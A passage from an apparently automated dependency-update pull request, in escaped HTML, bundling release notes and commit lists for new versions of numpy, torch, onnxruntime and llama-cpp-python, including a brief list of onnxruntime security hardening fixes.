releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.6 (May 18, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.6 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.6 is a quick release that fixes a regression discovered in the 2.4.5\nrelease.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 4 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e!EarlMilktea\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eSebastian Berg\u003c/li\u003e\n\u003cli\u003eWarren Weckesser\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePull requests merged\u003c/h2\u003e\n\u003cp\u003eA total of 4 pull requests were merged for this release.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31444\"\u003e#31444\u003c/a\u003e: MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31453\"\u003e#31453\u003c/a\u003e: BUG: Fix regression in \u003ccode\u003earr.conj()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31459\"\u003e#31459\u003c/a\u003e: BUG: \u003ccode\u003enp.linalg.svd(..., hermitian=True)\u003c/code\u003e returns non-unitary...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31460\"\u003e#31460\u003c/a\u003e: BUG: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator...\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.4.5 (May 15, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.5 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.5 is a patch release that fixes bugs discovered after the 2.4.4\nrelease, has some typing improvements, and maintains infrastructure.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 17 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAleksei Nikiforov\u003c/li\u003e\n\u003cli\u003eAnarion Zuo +\u003c/li\u003e\n\u003cli\u003eAnkit Ahlawat\u003c/li\u003e\n\u003cli\u003eBreno Favaretto +\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eIgor Krivenko +\u003c/li\u003e\n\u003cli\u003eIjtihed Kilani +\u003c/li\u003e\n\u003cli\u003eJoren Hammudoglu\u003c/li\u003e\n\u003cli\u003eMaarten Baert +\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/b832a09cf2a169c833dd2371e7c07aa00b293242\"\u003e\u003ccode\u003eb832a09\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31462\"\u003e#31462\u003c/a\u003e from charris/prepare-2.4.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/57cc147d2ceacffc6534642bfbdebb3a80428e1e\"\u003e\u003ccode\u003e57cc147\u003c/code\u003e\u003c/a\u003e REL: Prepare for the NumPy 2.4.6 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/0c72b0b53b6b83c004e434b2c7855e73c000d21e\"\u003e\u003ccode\u003e0c72b0b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31459\"\u003e#31459\u003c/a\u003e from charris/backport-31347\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/9778d26e0475d381ccb7817c3b4dd8cacef2b9eb\"\u003e\u003ccode\u003e9778d26\u003c/code\u003e\u003c/a\u003e BUG: core: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator. (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/e0e38767d5d0f848ab44befeedcad71e8ef589c7\"\u003e\u003ccode\u003ee0e3876\u003c/code\u003e\u003c/a\u003e BUG: core: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator. (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/d1bffeb9ec4ec0bf029c94ea35abffa92d5c30f2\"\u003e\u003ccode\u003ed1bffeb\u003c/code\u003e\u003c/a\u003e BUG: \u003ccode\u003enp.linalg.svd(..., hermitian=True)\u003c/code\u003e returns non-unitary \u003ccode\u003evh\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31347\"\u003e#31347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/8d8d7e5a14a1da0bfb0faf609a7a7610c431e6e9\"\u003e\u003ccode\u003e8d8d7e5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31453\"\u003e#31453\u003c/a\u003e from seberg/issue-31452\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/bddaab7ace45f90148d8f2bb6e67daab2d45ec76\"\u003e\u003ccode\u003ebddaab7\u003c/code\u003e\u003c/a\u003e BUG: Fix regression in \u003ccode\u003earr.conj()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/37a1ecca8dff09b2c579a991194ac55b9971f3a7\"\u003e\u003ccode\u003e37a1ecc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31444\"\u003e#31444\u003c/a\u003e from charris/begin-2.4.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/3c0e043217a759a8a948ade158fec14348c3b459\"\u003e\u003ccode\u003e3c0e043\u003c/code\u003e\u003c/a\u003e MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/numpy/numpy/compare/v2.4.4...v2.4.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `torch` from 2.11.0 to 2.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytorch/pytorch/releases\"\u003etorch's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ePyTorch 2.12.0 Release Notes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#highlights\"\u003eHighlights\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#backwards-incompatible-changes\"\u003eBackwards Incompatible Changes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#deprecations\"\u003eDeprecations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#new-features\"\u003eNew Features\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#improvements\"\u003eImprovements\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#bug-fixes\"\u003eBug fixes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#performance\"\u003ePerformance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#documentation\"\u003eDocumentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#developers\"\u003eDevelopers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#security\"\u003eSecurity\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHighlights\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eFor more details about these highlighted features, you can look at the release blogpost. Below are the full release notes for this release.\u003c/p\u003e\n\u003ch1\u003eBackwards Incompatible Changes\u003c/h1\u003e\n\u003ch2\u003eBuild Frontend\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eStrengthened SVE compile checks in \u003ccode\u003eFindARM.cmake\u003c/code\u003e, which may reject previously accepted but incorrect SVE configurations (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/176646\"\u003e#176646\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eSource builds that enable SVE now validate the compiler configuration more strictly. If a build previously passed with an incomplete or mismatched SVE setup, it may now fail during CMake configuration instead of later in compilation. Update the compiler/toolchain flags so they accurately describe the target SVE support, or disable SVE for that build.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated the minimum CUDA version required to build PyTorch from source to CUDA 12.6 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178925\"\u003e#178925\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eBuilding PyTorch from source with CUDA versions older than 12.6 is no longer supported. Users building custom binaries should install CUDA 12.6 or newer and make sure \u003ccode\u003eCUDA_HOME\u003c/code\u003e points to that installation.\u003c/p\u003e\n\u003cp\u003eVersion 2.11:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.4 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVersion 2.12:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.6 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnforced a C++20 minimum in CMake build files (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178662\"\u003e#178662\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/0d62256a2b23365f8e1604297eb23a6545102aa8\"\u003e\u003ccode\u003e0d62256\u003c/code\u003e\u003c/a\u003e [release] Dockerfile: skip torchaudio install when CUDA_PATH=cu132 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/183346\"\u003e#183346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/7661cd9c6b841b62b7f411aa52ec51f05457263b\"\u003e\u003ccode\u003e7661cd9\u003c/code\u003e\u003c/a\u003e [MPS] Fix SDPA wrong output for permuted q/k/v with B \u0026gt; 1 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181886\"\u003e#181886\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/9da6087ab64ab6a2118686420ca5353c90dd7e1f\"\u003e\u003ccode\u003e9da6087\u003c/code\u003e\u003c/a\u003e Fix stale PYTORCH_RELEASES_CODE_CC dict (fixes \u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182250\"\u003e#182250\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182369\"\u003e#182369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/e4c37cc011d47246ce8ea4b99c9b28fb7f400224\"\u003e\u003ccode\u003ee4c37cc\u003c/code\u003e\u003c/a\u003e Avoid raw stream name collisions in Inductor (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182178\"\u003e#182178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/822d047dc8dd8d919f83c3ad5c786e405075d1f0\"\u003e\u003ccode\u003e822d047\u003c/code\u003e\u003c/a\u003e [MPS] Fix bool mask handling in 1-pass SDPA decode kernel (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182285\"\u003e#182285\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182311\"\u003e#182311\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/5c5e523cd520e6986006e45be243b3ee927ea546\"\u003e\u003ccode\u003e5c5e523\u003c/code\u003e\u003c/a\u003e Add enable_gqa parameter to SDPA MPS meta registration (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181550\"\u003e#181550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/eece52ead16886e5463c3dcee9b04db783cc68d5\"\u003e\u003ccode\u003eeece52e\u003c/code\u003e\u003c/a\u003e [AOTI] Add BC-safe c_shim v2 for _scaled_dot_product_attention_math_for_mps e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/b39330bbe210b9628207e84d8ba2cabb7975fbac\"\u003e\u003ccode\u003eb39330b\u003c/code\u003e\u003c/a\u003e [Inductor] Call latest c_shim version for versioned fallback ops (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181548\"\u003e#181548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/06f10d088229a25ac52bd14b6cacc04a4161f6ca\"\u003e\u003ccode\u003e06f10d0\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[FSDP2] add fqn to communication ops\u0026quot; (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182100\"\u003e#182100\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182157\"\u003e#182157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/449e3393139a1aca9afec120c9a63f98f12d55b0\"\u003e\u003ccode\u003e449e339\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[Inductor] Improve materialization heuristic for a chain of computaio...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytorch/pytorch/compare/v2.11.0...v2.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.28\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.28]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(example): align server MTP support with llama.cpp by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2283\"\u003e#2283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@9e3b928fd\u003c/li\u003e\n\u003cli\u003efeat(example): add OpenAI-compatible embeddings endpoint by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2281\"\u003e#2281\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.27]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@465b1f0e7\u003c/li\u003e\n\u003cli\u003efeat(example): 